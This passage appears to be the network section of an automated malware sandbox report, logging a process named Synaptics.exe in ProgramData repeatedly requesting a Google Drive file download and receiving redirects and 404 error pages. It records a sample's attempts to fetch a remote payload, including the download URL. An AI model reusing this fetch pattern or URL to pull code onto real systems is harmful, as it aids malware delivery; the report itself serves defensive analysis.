2025-01-02 19:29:17 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 30 51 45 69 7a 2d 6c 64 53 7a 58 65 48 41 6b 43 31 79 4a 59 64 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="0QEiz-ldSzXeHAkC1yJYdA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:29:17 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.7	50059	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:16 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:17 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:17 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-Cu2_EyJh2xilYMKelrXDxw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.7	50062	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:16 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:17 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5UPOLAyyGVHB_Jg9r5T44xPn4_tiNj49FQzMruobX7Rk04jt-tLVzUTrbJILujoIDu Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:17 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-ASsSPAv3a7LYEnm171xGcQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:17 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:29:17 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 77 58 56 49 34 4c 72 4a 4a 79 2d 32 68 53 6d 71 4b 4c 77 66 50 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="wXVI4LrJJy-2hSmqKLwfPg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:29:17 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.7	50071	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:17 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.7	50072	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:17 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.7	50070	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:17 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.7	50074	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:18 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.7	50083	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:18 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:19 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:19 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-54DmI3N5ONy-4G4CwCD5Bw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.7	50082	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:18 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:19 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:19 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-t5a2WFDocKAqW6YjwrBQxg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.7	50094	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:19 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:20 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:20 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Xx63Z5x5t3GTdFKkzd9-rA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.7	50095	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:19 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:20 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6rRixsXqRdKtI6V-8xHAHDegiAFV_lbMT_CoPS2__CifoQHiNyq-JCg8wBS2DvdzgGpvUoCw0 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:20 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-MoA5Z0TPY8kSdC5PKgDZcw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:20 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:29:20 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 48 67 51 6d 56 38 74 79 33 44 55 4e 52 61 35 42 4f 46 33 4d 69 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="HgQmV8ty3DUNRa5BOF3MiA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:29:20 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.7	50097	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:19 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:20 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:20 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-y1JWOGDseUogCSWL82BcZg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.7	50098	142.250.186.129	443

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:19 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:20 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5yHLV0dRQ955kHixB6pM-zja66B9bHv6XqMiW_LTjrpqQ0EG-m1y7H3Otu8xCUe--eSP5yqFo Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:20 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-yP9Iw9b0d1tXycBgwAl0Gw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
